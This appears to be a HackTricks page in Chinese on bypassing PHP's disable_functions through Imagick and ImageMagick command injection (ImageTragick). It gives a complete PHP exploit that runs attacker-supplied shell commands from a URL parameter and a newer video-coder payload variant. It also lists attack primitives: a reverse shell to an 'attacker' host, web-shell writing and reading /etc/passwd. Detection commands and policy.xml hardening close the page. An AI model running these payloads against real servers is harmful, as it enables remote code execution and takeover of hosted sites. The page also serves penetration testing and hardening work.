Imagick <= 3.3.0 ‑ PHP >= 5.4 disable_functions Bypass
Reading time: 6 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
众所周知的 ImageTragick 漏洞家族 (CVE-2016-3714 等) 允许攻击者通过精心构造的 MVG/SVG 输入访问底层的 ImageMagick 二进制文件。当 PHP 扩展 Imagick 存在时,即使所有执行导向的 PHP 函数都被
disable_functions
黑名单列出,这也可以被滥用来执行 shell 命令。RicterZ (Chaitin Security Research Lab) 在 2016 年 5 月发布的原始 PoC 如下所示。该技术在当代 PHP 7/8 审计中仍然经常遇到,因为许多共享主机提供商只是编译 PHP 而不包含
exec
/system
,但保留了过时的 Imagick + ImageMagick 组合。
From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/
# Exploit Title : PHP Imagick disable_functions bypass
# Exploit Author: RicterZ (ricter@chaitin.com)
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
# Usage : curl "http://target/exploit.php?cmd=id"
<?php
// Print the local hardening status
printf("Disable functions: %s\n", ini_get("disable_functions"));
$cmd = $_GET['cmd'] ?? 'id';
printf("Run command: %s\n====================\n", $cmd);
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;
file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs); // triggers convert(1)
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();
echo file_get_contents($tmp);
?>
为什么它有效?
Imagick::readImage()
透明地生成 ImageMagick delegate (convert
/magick
) 二进制文件。- MVG 脚本将 fill 设置为外部 URI。当注入双引号 (
"
) 时,剩余的行由 ImageMagick 内部使用的/bin/sh ‑c
解释 → 任意 shell 执行。 - 所有操作都发生在 PHP 解释器之外,因此
disable_functions
、open_basedir、safe_mode
(在 PHP 5.4 中移除)和类似的进程内限制完全被绕过。
2025 状态 – 仍然 相关
- 任何依赖于易受攻击的 ImageMagick 后端的 Imagick 版本仍然可以被利用。在实验室测试中,相同的有效载荷在 PHP 8.3 上与 Imagick 3.7.0 和 ImageMagick 7.1.0-51 一起工作,且未编译严格的
policy.xml
。 - 自 2020 年以来,发现了几个额外的命令注入向量(
video:pixel-format
、ps:
、text:
编码器…)。两个最近的公开示例是: - CVE-2020-29599 – 通过 text: 编码器进行的 shell 注入。
- GitHub issue #6338 (2023) – 在 video: delegate 中的注入。
如果操作系统提供的 ImageMagick 版本 < 7.1.1-11(或 6.x < 6.9.12-73)且没有限制性政策文件,利用将是直接的。
现代有效载荷变体
// --- Variant using the video coder discovered in 2023 ---
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;
$img = new Imagick();
$img->readImageBlob($exp);
其他在CTF / 实际参与中的有用原语:
- 文件写入 –
... > /var/www/html/shell.php
(在 open_basedir 外写入 web-shell) - 反向 shell –
bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
- 枚举 –
id; uname -a; cat /etc/passwd
快速检测与枚举
# PHP side
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
# System side
convert -version | head -1 # ImageMagick version
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
如果输出显示 MVG
或 URL
编码器已 启用,则目标可能是可利用的。
缓解措施
- 修补/升级 – 使用 ImageMagick ≥ 7.1.1-11(或最新的 6.x LTS)和 Imagick ≥ 3.7.2。
- 强化
policy.xml
– 明确 禁用 高风险编码器:
<policy domain="coder" name="MVG" rights="none"/>
<policy domain="coder" name="MSL" rights="none"/>
<policy domain="coder" name="URL" rights="none"/>
<policy domain="coder" name="VIDEO" rights="none"/>
<policy domain="coder" name="PS" rights="none"/>
<policy domain="coder" name="TEXT" rights="none"/>
- 在不受信任的托管环境中移除扩展。在大多数 Web 堆栈中,
GD
或Imagick
并不是严格要求的。 - 将
disable_functions
仅视为 深度防御 – 永远不要作为主要的沙箱机制。
参考文献
- GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)
- CVE-2020-29599 – ImageMagick shell injection via text: coder
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。